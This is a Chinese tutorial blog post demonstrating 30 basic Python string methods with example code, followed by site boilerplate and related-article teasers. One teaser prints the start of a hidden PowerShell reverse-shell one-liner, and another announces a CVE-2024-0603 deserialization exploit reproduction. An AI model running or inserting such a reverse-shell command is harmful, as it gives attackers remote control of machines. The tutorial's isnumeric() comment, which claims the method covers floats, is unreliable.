Python字符串处理常用的30种操作

我们平时编写代码时,经常需要对字符串进行处理,本文详细介绍Python处理字符串常用的30种操作,并给出了对应的代码。

在这里插入图片描述

  1. 分割

使用split()方法将字符串按照指定的分隔符进行分割。

s = "Hello,World"   result = s.split(",")   print(result)  # 输出:['Hello', 'World']   
  1. 替换

使用replace()方法将字符串中的指定子串替换为新的子串。

s = "Hello,World"   result = s.replace("World", "Python")   print(result)  # 输出:Hello,Python   
  1. 查找

使用find()方法查找子串在字符串中的位置。

s = "Hello,World"   result = s.find("World")   print(result)  # 输出:6   
  1. 计数

使用count()方法统计子串在字符串中出现的次数。

s = "Hello,World,World"   result = s.count("World")   print(result)  # 输出:2   
  1. 大小写转换

使用upper()lower()方法将字符串转换为大写或小写。

s = "Hello,World"   result_upper = s.upper()   result_lower = s.lower()   print(result_upper)  # 输出:HELLO,WORLD   print(result_lower)  # 输出:hello,world   
  1. 首字母大写

使用capitalize()方法将字符串的首字母转换为大写。

s = "hello,world"   result = s.capitalize()   print(result)  # 输出:Hello,world   
  1. 字符串居中对齐

使用center()方法将字符串居中对齐,并使用指定的字符填充两侧。

s = "Hello,World"   result = s.center(15, "-")   print(result)  # 输出:--Hello,World--   
  1. 字符串左对齐

使用ljust()方法将字符串左对齐,并使用指定的字符填充右侧。

s = "Hello,World"   result = s.ljust(20, "-")   print(result)  # 输出:Hello,World--------   
  1. 字符串右对齐

使用rjust()方法将字符串右对齐,并使用指定的字符填充左侧。

s = "Hello,World"   result = s.rjust(20, "-")   print(result)  # 输出:--------Hello,World   
  1. 去除空格

使用strip()方法去除字符串两端的空格。

s = " Hello,World "   result = s.strip()   print(result)  # 输出:Hello,World   
  1. 判断是否以指定子串开头

使用startswith()方法判断字符串是否以指定子串开头。

s = "Hello,World"   result = s.startswith("Hello")   print(result)  # 输出:True   
  1. 判断是否以指定子串结尾

使用endswith()方法判断字符串是否以指定子串结尾。

s = "Hello,World"   result = s.endswith("World")   print(result)  # 输出:True   
  1. 判断是否全为数字

使用isdigit()方法判断字符串是否全为数字。

s = "123"   result = s.isdigit()   print(result)  # 输出:True   
  1. 判断是否全为字母

使用isalpha()方法判断字符串是否全为字母。

s = "abc"   result = s.isalpha()   print(result)  # 输出:True   
  1. 判断是否全为空白字符

使用isspace()方法判断字符串是否全为空白字符。

s = " "   result = s.isspace()   print(result)  # 输出:True   
  1. 判断是否为标题格式

使用istitle()方法判断字符串是否为标题格式(每个单词首字母大写)。

s = "Hello World"   result = s.istitle()   print(result)  # 输出:True   
  1. 判断是否为小写字母

使用islower()方法判断字符串是否全为小写字母。

s = "hello"   result = s.islower()   print(result)  # 输出:True   
  1. 判断是否为大写字母

使用isupper()方法判断字符串是否全为大写字母。

s = "HELLO"   result = s.isupper()   print(result)  # 输出:True   
  1. 判断是否为标识符

使用isidentifier()方法判断字符串是否为合法的标识符(变量名)。

s = "hello"   result = s.isidentifier()   print(result)  # 输出:True   
  1. 判断是否为数字类型

使用isnumeric()方法判断字符串是否为数字类型(整数或浮点数)。

s = "123"   result = s.isnumeric()   print(result)  # 输出:True   
  1. 拼接
str1 = "Hello"   str2 = "World"   result = str1 + str2   print(result)  # 输出:HelloWorld   
  1. 字符串复制
str1 = "Hello"   result = str1 * 3   print(result)  # 输出:HelloHelloHello   
  1. 字符串长度
str1 = "Hello"   length = len(str1)   print(length)  # 输出:5   
  1. 字符串格式化
name = "Tom"   age = 18   result = "My name is {} and I am {} years old.".format(name, age)   print(result)  # 输出:My name is Tom and I am 18 years old.   
  1. 字符串切片
str1 = "Hello,World"   result = str1[0:5]   print(result)  # 输出:Hello   
  1. 字符串连接
str1 = "Hello"   str2 = "World"   result = "-".join([str1, str2])   print(result)  # 输出:Hello-World   
  1. 字符串转数字
str1 = "123"   num = int(str1)   print(num)  # 输出:123   
  1. 获取字符串中的数字
import re      def get_numbers_from_string(s):       return re.findall(r'\d+', s)      s = "abc123def456"   numbers = get_numbers_from_string(s)   print(numbers)  # 输出:['123', '456']   
  1. 获取字符串中的字母
import re      def get_letters_from_string(s):       return re.findall(r'[a-zA-Z]+', s)      s = "abc123def456"   letters = get_letters_from_string(s)   print(letters)  # 输出:['abc', 'def']   

30.反转字符串

s = "Hello, World!"   reversed_s = s[::-1]   print(reversed_s)  # 输出:!dlroW ,olleH   

本文介绍了多种字符串处理的方法,包括字符串的拼接、分割、替换等操作。这些方法可以帮助大家更高效地处理和分析文本数据。在实际编程中,大家可根据具体需求选择合适的方法来实现字符串的处理和分析。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/42425.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

国产AI芯片被撕下遮羞布,宁买阉割八成性能的NVIDIA,也不买国产

曾经有传言指有国产AI芯片大受欢迎,还卖出了100万片,不过半年多时间过去,海外分析机构指出国内的互联网企业纷纷抢购NVIDIA阉割八成性能的H20,至于国产AI芯片则不获欢迎。 导致如此结果,在于NVIDIA拥有许多独特的优势&…

什么是voc数据,和coco数据的区别是什么?

Pascal VOC 数据集格式 Pascal VOC 数据集的标注文件使用 XML 格式&#xff0c;每个图像对应一个 XML 文件&#xff0c;文件内容包含图像的元数据信息和目标的标注信息。XML 文件结构如下&#xff1a; <annotation><folder>VOC2007</folder><filename&g…

【工具问题】macOS Ventura 下如何开启NTFS移动硬盘读写?

花了半小时&#xff0c;网上检索了各种解决方案&#xff0c;发现还是下面这种方案可行&#xff0c;mark下方便下次遇到问题能更快速解决&#xff5e; macOS Ventura 下如何开启NTFS移动硬盘读写&#xff1f;

论文略读: LLaMA Pro: Progressive LLaMA with Block Expansion

ACL 2024 人类通常在不损害旧技能的情况下获得新技能 然而&#xff0c;对于大型语言模型&#xff08;LLMs&#xff09;&#xff0c;例如从LLaMA到CodeLLaMA&#xff0c;情况正好相反。深度学习笔记&#xff1a;灾难性遗忘-CSDN博客——>论文提出了一种用于LLMs的新的预训练…

Nettyの源码分析

本篇为Netty系列的最后一篇&#xff0c;按照惯例会简单介绍一些Netty相关核心源码。 1、Netty启动源码分析 代码就使用最初的Netty服务器案例&#xff0c;在bind这一行打上断点&#xff0c;观察启动的全过程&#xff1a; 由于某些方法的调用链过深&#xff0c;节约篇幅&#xf…

昇思MindSpore学习笔记4-03生成式--Diffusion扩散模型

摘要&#xff1a; 记录昇思MindSpore AI框架使用DDPM模型给图像数据正向逐步添加噪声&#xff0c;反向逐步去除噪声的工作原理和实际使用方法、步骤。 一、概念 1. 扩散模型Diffusion Models DDPM(denoising diffusion probabilistic model) &#xff08;无&#xff09;条件…

【嵌入式DIY实例-ESP8266篇】-LCD ST7735显示BMP280传感器数据

LCD ST7735显示BMP280传感器数据 文章目录 LCD ST7735显示BMP280传感器数据1、硬件准备与接线2、代码实现本文介绍如何将 ESP8266 NodeMCU 板 (ESP-12E) 与 Bosch Sensortec 的 BMP280 气压和温度传感器连接。 NodeMCU 微控制器 (ESP8266EX) 从 BMP280 传感器读取温度和压力值,…

普通Java工程如何在代码中引用docker-compose.yml中的environment值

文章目录 一、概述二、常规做法1. 数据库配置分离2. 代码引用配置3. 编写启动类4. 支持打包成可执行包5. 支持可执行包打包成docker镜像6. docker运行 三、存在问题分析四、改进措施1. 包含environment 变量的编排文件2. 修改读取配置文件方式3. 为什么可以这样做 五、运行效果…

如何正确使用Redisson实现分布式锁

分布式锁主要用于保证在分布式系统中&#xff0c;对共享资源的互斥访问&#xff0c;防止多个进程同时操作造成数据不一致。Redis实现分布式锁具备高性能和高可靠性的优势。接下来&#xff0c;我将详细描述如何在Spring Boot项目中使用Redis实现分布式锁。 常见的共享资源举例 …

python库(6):Pygments库

1 Pygments介绍 在软件开发和文档编写中&#xff0c;代码的可读性是至关重要的一环。无论是在博客文章、技术文档还是教程中&#xff0c;通过代码高亮可以使程序代码更加清晰和易于理解。而在Python世界中&#xff0c;Pygments库就是这样一个强大的工具&#xff0c;它能够将各…

ValueError: Expected EmbeddingFunction.__call__ to have the following signature

题意&#xff1a; 使用 langchain 时&#xff0c;特别是在定义或调用嵌入函数&#xff08;Embedding Function&#xff09;时&#xff0c;签名&#xff08;函数的参数列表和返回类型&#xff09;不符合预期 问题背景&#xff1a; When I try to pass a Chroma Client to Lang…

搭建论坛和mysql数据库安装和php安装

目录 概念 步骤 安装mysql8.0.30 安装php 安装Discuz 概念 搭建论坛的架构&#xff1a; lnmpDISCUZ l 表示linux操作系统 n 表示nginx前端页面的web服务 m 表示 mysql 数据库 用来保存用户和密码以及论坛的相关内容 p 表示php 动态请求转发的中间件 步骤 &#xff…

【C++深度探索】:继承(定义赋值兼容转换作用域派生类的默认成员函数)

✨ 愿随夫子天坛上&#xff0c;闲与仙人扫落花 &#x1f30f; &#x1f4c3;个人主页&#xff1a;island1314 &#x1f525;个人专栏&#xff1a;C学习 &#x1f680; 欢迎关注&#xff1a;&#x1f44d;点赞…

动态数组(java)

package arraList;public interface AbstractArray<E> {int size();//元素数量boolean isEmpty();//是否为空boolean contains(E element);//是否包含某个元素void add(E element);//添加元素到最后面E get(int index);//返回index位置对应的元素E set(int index,E eleme…

CVE-2024-0603 漏洞复现

CVE-2024-0603 源码&#xff1a;https://gitee.com/dazensun/zhicms 开题&#xff1a; CVE-2024-0603描述&#xff1a;ZhiCms up to 4.0版本的文件app/plug/controller/giftcontroller.php中存在一处未知漏洞。攻击者可以通过篡改参数mylike触发反序列化&#xff0c;从而远程…

【c++设计模式20】行为模式5:备忘录模式(Memento Pattern)

【c++设计模式20】行为模式5:备忘录模式(Memento Pattern) 一、定义二、适用场景三、过程四、备忘录模式类图五、C++示例代码六、使用注意事项原创作者:郑同学的笔记 原创地址:https://zhengjunxue.blog.csdn.net/article/details/132766604 qq技术交流群:921273910 类型…

python脚本“文档”撰写——“诱骗”ai撰写“火火的动态”python“自动”脚本文档

“火火的动态”python“自动”脚本文档&#xff0c;又从ai学习搭子那儿“套”来&#xff0c;可谓良心质量&#x1f44d;&#x1f44d;。 (笔记模板由python脚本于2024年07月07日 15:15:33创建&#xff0c;本篇笔记适合喜欢钻研python和页面源码的coder翻阅) 【学习的细节是欢悦…

【学习笔记】程序设计竞赛

程序设计竞赛 文章目录 程序设计竞赛0x00 基本操作指南0x01 算法分析0x02 STL和基本数据结构栈队列集合map 0x03 排序插入排序归并排序&#xff08;Merge Sort)快速排序 0x04 搜索技术BFSDFS回溯与剪枝 深度迭代ID A*A star双向广搜 0x05 递推方程0x06 高级数据结构并查集二叉树…

Hi6602 恒压恒流SSR电源方案

Hi6602是一款针对离线式反激电源设计的高性能PWM控制器。Hi6602内集成有通用的原边恒流控制技术&#xff0c;可支持断续模式和连续模式工作&#xff0c;适用于恒流输出的隔离型电源应用中。Hi6602内部具有高精度65kHz开关频率振荡器&#xff0c;且带有抖频功能可优化EMI性能。H…

小笔记(1)

反弹监听 # PowerShell反弹命令 powershell -nop -W hidden -noni -ep bypass -c "$TCPClient New-Object Net.Sockets.TCPClient(127.0.0.1, 80);$NetworkStream $TCPClient.GetStream();$StreamWriter New-Object IO.StreamWriter($NetworkStream);function WriteTo…